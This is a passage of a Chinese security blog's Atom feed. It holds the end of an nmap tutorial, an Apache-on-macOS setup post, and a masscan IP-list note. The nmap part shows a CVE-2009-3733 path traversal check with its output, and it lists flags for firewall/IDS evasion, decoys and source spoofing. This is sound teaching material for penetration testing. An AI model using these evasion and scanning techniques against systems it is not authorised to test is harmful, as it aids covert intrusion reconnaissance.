class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div></pre></td><td class="code"><pre><div class="line">nmap --script http-vmware-path-vuln -p80,443,8222,8333 <host></div><div class="line">| http-vmware-path-vuln:</div><div class="line">| VMWare path traversal (CVE-2009-3733): VULNERABLE</div><div class="line">| /vmware/Windows 2003/Windows 2003.vmx</div><div class="line">| /vmware/Pentest/Pentest - Linux/Linux Pentest Bravo.vmx</div><div class="line">| /vmware/Pentest/Pentest - Windows/Windows 2003.vmx</div><div class="line">| /mnt/vmware/vmware/FreeBSD 7.2/FreeBSD 7.2.vmx</div><div class="line">| /mnt/vmware/vmware/FreeBSD 8.0/FreeBSD 8.0.vmx</div><div class="line">| /mnt/vmware/vmware/FreeBSD 8.0 64-bit/FreeBSD 8.0 64-bit.vmx</div><div class="line">|_ /mnt/vmware/vmware/Slackware 13 32-bit/Slackware 13 32-bit.vmx</div></pre></td></tr></table></figure><h3 id="查询VMware服务器(vCenter,ESX,ESXi)SOAP-API以提取版本信息。"><a href="#查询VMware服务器(vCenter,ESX,ESXi)SOAP-API以提取版本信息。" class="headerlink" title="查询VMware服务器(vCenter,ESX,ESXi)SOAP API以提取版本信息。"></a>查询VMware服务器(vCenter,ESX,ESXi)SOAP API以提取版本信息。</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div></pre></td><td class="code"><pre><div class="line">λ nmap --script vmware-version -p443 10.0.1.4</div><div class="line"></div><div class="line">Starting Nmap 7.50 ( https://nmap.org ) at 2017-07-25 12:26 ?D1ú±ê×?ê±??</div><div class="line">Nmap scan report for 10.0.1.4</div><div class="line">Host is up (0.0019s latency).</div><div class="line"></div><div class="line">PORT STATE SERVICE</div><div class="line">443/tcp open https</div><div class="line">| vmware-version:</div><div class="line">| Server version: VMware ESXi 6.5.0</div><div class="line">| Build: 4887370</div><div class="line">| Locale version: INTL 000</div><div class="line">| OS type: vmnix-x86</div><div class="line">|_ Product Line ID: embeddedEsx</div><div class="line">Service Info: CPE: cpe:/o:vmware:ESXi:6.5.0</div><div class="line"></div><div class="line">Nmap done: 1 IP address (1 host up) scanned in 6.28 seconds</div></pre></td></tr></table></figure><p><img src="http://image.3001.net/2017/07/7ec5b1b3ec0ba3ee2d1587b17de0e8b92.png" alt=""> </p><h1 id="参数详解"><a href="#参数详解" class="headerlink" title="参数详解"></a>参数详解</h1><p>Nmap支持主机名,ip,网段的表示方式<br>例如:<code>blah.highon.coffee, namp.org/24, 192.168.0.1;10.0.0-25.1-254</code><br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line">-iL filename 从文件中读取待检测的目标,文件中的表示方法支持机名,ip,网段</div><div class="line">-iR hostnum 随机选取,进行扫描.如果-iR指定为0,则是无休止的扫描</div><div class="line">--exclude host1[, host2] 从扫描任务中需要排除的主机 </div><div class="line">--exculdefile exclude_file 排除文件中的IP,格式和-iL指定扫描文件的格式相同</div></pre></td></tr></table></figure></p><h2 id="主机发现"><a href="#主机发现" class="headerlink" title="主机发现"></a>主机发现</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line">-sL 仅仅是显示,扫描的IP数目,不会进行任何扫描</div><div class="line">-sn ping扫描,即主机发现</div><div class="line">-Pn 不检测主机存活</div><div class="line">-PS/PA/PU/PY[portlist] TCP SYN Ping/TCP ACK Ping/UDP Ping发现</div><div class="line">-PE/PP/PM 使用ICMP echo, timestamp and netmask 请求包发现主机</div><div class="line">-PO[prococol list] 使用IP协议包探测对方主机是否开启 </div><div class="line">-n/-R 不对IP进行域名反向解析/为所有的IP都进行域名的反响解析</div></pre></td></tr></table></figure><h2 id="扫描技巧"><a href="#扫描技巧" class="headerlink" title="扫描技巧"></a>扫描技巧</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div></pre></td><td class="code"><pre><div class="line">-sS/sT/sA/sW/sM TCP SYN/TCP connect()/ACK/TCP窗口扫描/TCP Maimon扫描</div><div class="line">-sU UDP扫描</div><div class="line">-sN/sF/sX TCP Null,FIN,and Xmas扫描</div><div class="line">--scanflags 自定义TCP包中的flags</div><div class="line">-sI zombie host[:probeport] Idlescan</div><div class="line">-sY/sZ SCTP INIT/COOKIE-ECHO 扫描</div><div class="line">-sO 使用IP protocol 扫描确定目标机支持的协议类型</div><div class="line">-b “FTP relay host” 使用FTP bounce scan</div></pre></td></tr></table></figure><h2 id="指定端口和扫描顺序"><a href="#指定端口和扫描顺序" class="headerlink" title="指定端口和扫描顺序"></a>指定端口和扫描顺序</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div></pre></td><td class="code"><pre><div class="line">-p 特定的端口 -p80,443 或者 -p1-65535</div><div class="line">-p U:PORT 扫描udp的某个端口, -p U:53</div><div class="line">-F 快速扫描模式,比默认的扫描端口还少</div><div class="line">-r 不随机扫描端口,默认是随机扫描的</div><div class="line">--top-ports "number" 扫描开放概率最高的number个端口,出现的概率需要参考nmap-services文件,ubuntu中该文件位于/usr/share/nmap.nmap默认扫前1000个</div><div class="line">--port-ratio "ratio" 扫描指定频率以上的端口</div></pre></td></tr></table></figure><h2 id="服务版本识别"><a href="#服务版本识别" class="headerlink" title="服务版本识别"></a>服务版本识别</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line">-sV 开放版本探测,可以直接使用-A同时打开操作系统探测和版本探测</div><div class="line">--version-intensity "level" 设置版本扫描强度,强度水平说明了应该使用哪些探测报文。数值越高,服务越有可能被正确识别。默认是7</div><div class="line">--version-light 打开轻量级模式,为--version-intensity 2的别名</div><div class="line">--version-all 尝试所有探测,为--version-intensity 9的别名</div><div class="line">--version-trace 显示出详细的版本侦测过程信息</div></pre></td></tr></table></figure><h2 id="脚本扫描"><a href="#脚本扫描" class="headerlink" title="脚本扫描"></a>脚本扫描</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line">-sC 根据端口识别的服务,调用默认脚本</div><div class="line">--script=”Lua scripts” 调用的脚本名</div><div class="line">--script-args=n1=v1,[n2=v2] 调用的脚本传递的参数</div><div class="line">--script-args-file=filename 使用文本传递参数</div><div class="line">--script-trace 显示所有发送和接收到的数据</div><div class="line">--script-updatedb 更新脚本的数据库</div><div class="line">--script-help=”Lua script” 显示指定脚本的帮助</div></pre></td></tr></table></figure><h2 id="OS识别"><a href="#OS识别" class="headerlink" title="OS识别"></a>OS识别</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line">-O 启用操作系统检测,-A来同时启用操作系统检测和版本检测</div><div class="line">--osscan-limit 针对指定的目标进行操作系统检测(至少需确知该主机分别有一个open和closed的端口)</div><div class="line">--osscan-guess 推测操作系统检测结果,当Nmap无法确定所检测的操作系统时,会尽可能地提供最相近的匹配,Nmap默认进行这种匹配</div></pre></td></tr></table></figure><h2 id="防火墙-IDS躲避和哄骗"><a href="#防火墙-IDS躲避和哄骗" class="headerlink" title="防火墙/IDS躲避和哄骗"></a>防火墙/IDS躲避和哄骗</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div></pre></td><td class="code"><pre><div class="line">-f; --mtu value 指定使用分片、指定数据包的MTU.</div><div class="line">-D decoy1,decoy2,ME 使用诱饵隐蔽扫描</div><div class="line">-S IP-ADDRESS 源地址欺骗</div><div class="line">-e interface 使用指定的接口</div><div class="line">-g/ --source-port PROTNUM 使用指定源端口 </div><div class="line">--proxies url1,[url2],... 使用HTTP或者SOCKS4的代理 </div><div class="line"></div><div class="line">--data-length NUM 填充随机数据让数据包长度达到NUM</div><div class="line">--ip-options OPTIONS 使用指定的IP选项来发送数据包</div><div class="line">--ttl VALUE 设置IP time-to-live域</div><div class="line">--spoof-mac ADDR/PREFIX/VEBDOR MAC地址伪装</div><div class="line">--badsum 使用错误的checksum来发送数据包</div></pre></td></tr></table></figure><h2 id="Nmap-输出"><a href="#Nmap-输出" class="headerlink" title="Nmap 输出"></a>Nmap 输出</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div></pre></td><td class="code"><pre><div class="line">-oN 将标准输出直接写入指定的文件</div><div class="line">-oX 输出xml文件</div><div class="line">-oS 将所有的输出都改为大写</div><div class="line">-oG 输出便于通过bash或者perl处理的格式,非xml</div><div class="line">-oA BASENAME 可将扫描结果以标准格式、XML格式和Grep格式一次性输出</div><div class="line">-v 提高输出信息的详细度</div><div class="line">-d level 设置debug级别,最高是9</div><div class="line">--reason 显示端口处于带确认状态的原因</div><div class="line">--open 只输出端口状态为open的端口</div><div class="line">--packet-trace 显示所有发送或者接收到的数据包</div><div class="line">--iflist 显示路由信息和接口,便于调试</div><div class="line">--log-errors 把日志等级为errors/warings的日志输出</div><div class="line">--append-output 追加到指定的文件</div><div class="line">--resume FILENAME 恢复已停止的扫描</div><div class="line">--stylesheet PATH/URL 设置XSL样式表,转换XML输出</div><div class="line">--webxml 从namp.org得到XML的样式</div><div class="line">--no-sytlesheet 忽略XML声明的XSL样式表</div></pre></td></tr></table></figure><h2 id="其他nmap选项"><a href="#其他nmap选项" class="headerlink" title="其他nmap选项"></a>其他nmap选项</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div></pre></td><td class="code"><pre><div class="line">-6 开启IPv6</div><div class="line">-A OS识别,版本探测,脚本扫描和traceroute</div><div class="line">--datedir DIRNAME 说明用户Nmap数据文件位置</div><div class="line">--send-eth / --send-ip 使用原以太网帧发送/在原IP层发送</div><div class="line">--privileged 假定用户具有全部权限</div><div class="line">--unprovoleged 假定用户不具有全部权限,创建原始套接字需要root权限</div><div class="line">-V 打印版本信息</div><div class="line">-h 输出帮助</div></pre></td></tr></table></figure>]]></content>
<summary type="html">
<p><img src="http://image.3001.net/images/20170914/15053536225121.png" alt="Markdown"><br>总结了nmap的基本用法和脚本的使用,充分利用脚本在信息收集的时候有时候可以起到意想不到的效果~<br>
</summary>
<category term="hacker" scheme="http://www.sqlsec.com/categories/hacker/"/>
<category term="国光" scheme="http://www.sqlsec.com/tags/%E5%9B%BD%E5%85%89/"/>
<category term="nmap" scheme="http://www.sqlsec.com/tags/nmap/"/>
</entry>
<entry>
<title>Mac OS下开启自带的apache服务</title>
<link href="http://www.sqlsec.com/2017/07/macapache.html"/>
<id>http://www.sqlsec.com/2017/07/macapache.html</id>
<published>2017-07-21T07:23:25.325Z</published>
<updated>2017-09-30T03:57:49.000Z</updated>
<content type="html"><![CDATA[<p><img src="http://image.3001.net/images/20170929/15066689552985.png" alt="hacker"><br>记录了Mac OS下使用apache服务遇到的一个坑,最后发现是新版本Mac OS策略改变的问题,最后在国外某个论坛上最终找到了解决方法,特此既记录之。<br><a id="more"></a></p><h1 id="Apache路径"><a href="#Apache路径" class="headerlink" title="Apache路径"></a>Apache路径</h1><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">/etc/apache2/</div></pre></td></tr></table></figure><figure class="highlight ruby"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line">[root@GGs-MacBook-<span class="symbol">Pro:</span>/Volumes/SSD/blog<span class="comment">#cd /etc/apache2/</span></div><div class="line">[root@GGs-MacBook-<span class="symbol">Pro:</span>/etc/apache2<span class="comment">#ls</span></div><div class="line">extrahttpd.conf.pre-updatemime.typesother</div><div class="line">httpd.confmagicoriginalusers</div></pre></td></tr></table></figure><h1 id="启动服务"><a href="#启动服务" class="headerlink" title="启动服务"></a>启动服务</h1><figure class="highlight ruby"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">sudo apachectl start/restart <span class="comment">#启动apache</span></div><div class="line">sudo apachectl stop <span class="comment">#停止apache</span></div></pre></td></tr></table></figure><p><img src="http://image.3001.net/images/20170901/15042303077078.png" alt="Markdown"><br>发现apache已经可以正常工作了,接下来修改默认的 网站路径。</p><h1 id="修改默认网站目录"><a href="#修改默认网站目录" class="headerlink" title="修改默认网站目录"></a>修改默认网站目录</h1><h2 id="修改配置文件"><a href="#修改配置文件" class="headerlink" title="修改配置文件"></a>修改配置文件</h2><p>Mac下<code>apache</code>默认的网站路径是<code>/Library/WebServer/Documents</code><br>我们来修改<code>/etc/apache2/httpd.conf</code>找到<code>DocumentRoot</code>这行来进行修改。<br><figure class="highlight ruby"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">[root@GGs-MacBook-<span class="symbol">Pro:</span>/etc/apache2<span class="comment">#vim /etc/apache2/httpd.conf</span></div></pre></td></tr></table></figure></p><p><img src="http://image.3001.net/images/20170901/15042303429343.png" alt="Markdown"><br>然后改为我们自己的网站路径的配置文件。</p><h2 id="重启apache来生效"><a href="#重启apache来生效" class="headerlink" title="重启apache来生效"></a>重启apache来生效</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">sudo apachectl restart</div></pre></td></tr></table></figure><h2 id="效果"><a href="#效果" class="headerlink" title="效果"></a>效果</h2><p><img src="http://image.3001.net/images/20170901/15042303632314.png" alt="Markdown"><br><img src="http://image.3001.net/images/20170901/15042303829526.png" alt="Markdown">这个是什么情况???<br>报了如下错了:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">You don't have permission to access / on this server.</div></pre></td></tr></table></figure></p><p>表急 是我一开始想的太简单了,不能灰心!<br>查看<code>apache</code>报错日志:<code>cat /private/var/log/apache2/error_log</code>得到如下的报错信息<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">client denied by server configuration</div></pre></td></tr></table></figure></p><p>然后根据这个报错,<code>Google</code>了下找到了国外的几个论坛,最终解决了问题。</p><h2 id="解决Mac下apache-403的问题"><a href="#解决Mac下apache-403的问题" class="headerlink" title="解决Mac下apache 403的问题"></a>解决Mac下apache 403的问题</h2><p>网上查资料发现是因为Mac版本升级导致了apache策略发生变更了,所以我们修改后还是会出现<code>403</code>无权访问的情况。<br>解决方法:备份原有的<code>httpd.conf</code>配置文件,把同级目录下的<code>httpd.conf.pre-update</code> 重命名为<code>httpd.conf</code><br>然后在修改默认的网站根目录<br><img src="http://image.3001.net/images/20170901/15042304095405.png" alt="Markdown"><br>需要修改原来的默认路径,然后改为自己的路径。全文搜索 只有这2处是<code>/Library/WebServer/Documents</code> 然后查找替换了下。</p><h2 id="再次重启apache"><a href="#再次重启apache" class="headerlink" title="再次重启apache"></a>再次重启apache</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">sudo apachectl restart</div></pre></td></tr></table></figure><p><code>Mac</code>和<code>Linux</code>都有一个共同的特点:<br>凡是修改过配置文件的服务,当我们修改过后 必须重启服务 才可以生效。</p><h2 id="最终效果"><a href="#最终效果" class="headerlink" title="最终效果"></a>最终效果</h2><p><img src="http://image.3001.net/images/20170901/15042304377760.png" alt="Markdown"></p>]]></content>
<summary type="html">
<p><img src="http://image.3001.net/images/20170929/15066689552985.png" alt="hacker"><br>记录了Mac OS下使用apache服务遇到的一个坑,最后发现是新版本Mac OS策略改变的问题,最后在国外某个论坛上最终找到了解决方法,特此既记录之。<br>
</summary>
<category term="others" scheme="http://www.sqlsec.com/categories/others/"/>
<category term="国光" scheme="http://www.sqlsec.com/tags/%E5%9B%BD%E5%85%89/"/>
<category term="MacOS" scheme="http://www.sqlsec.com/tags/MacOS/"/>
</entry>
<entry>
<title>利用Masscan批量生成IP地址表</title>
<link href="http://www.sqlsec.com/2017/07/masscan.html"/>
<id>http://www.sqlsec.com/2017/07/masscan.html</id>
<published>2017-07-20T06:56:50.911Z</published>
<updated>2017-09-30T03:57:56.000Z</updated>
<content type="html"><![CDATA[<h1 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h1><p>Masscan是Kali下集成的高效扫描器,和nmap命令有很多相似之处</p><h1 id="命令生成随机ip"><a href="#命令生成随机ip" class="headerlink" title="命令生成随机ip"></a>命令生成随机ip</h1><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line">masscan -sL 10.0.0.0/24 > c段.txt</div><div class="line">masscan -sL 10.0.0.0/16 > b段.txt</div><div class="line">masscan -sL 10.0.0.0/8 > a段.txt</div></pre></td></tr></table></figure><p><code>sL</code>:显示扫描的所有主机的列表<br><code>> xx.txt</code>:把终端命令行中的结果保存在<code>xx.txt</code>文件中</p>]]></content>
<summary type="html">
<h1 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h1><p>Masscan是Kali下集成的高效扫描器,和nmap命令有很多相似之处</p>
<h1 id="命令生成随机ip"><a href="#命
</summary>
<category term="hacker" scheme="http://www.sqlsec.com/categories/hacker/"/>
<category term="国光" scheme="http://www.sqlsec.com/tags/%E5%9B%BD%E5%85%89/"/>
<category term="IP" scheme="http://www.sqlsec.com/tags/IP/"/>
<category term="Masscan" scheme="http://www.sqlsec.com/tags/Masscan/"/>
<category term="脚本" scheme="http://www.sqlsec.com/tags/%E8%84%9A%E6%9C%AC/"/>
</entry>
</feed>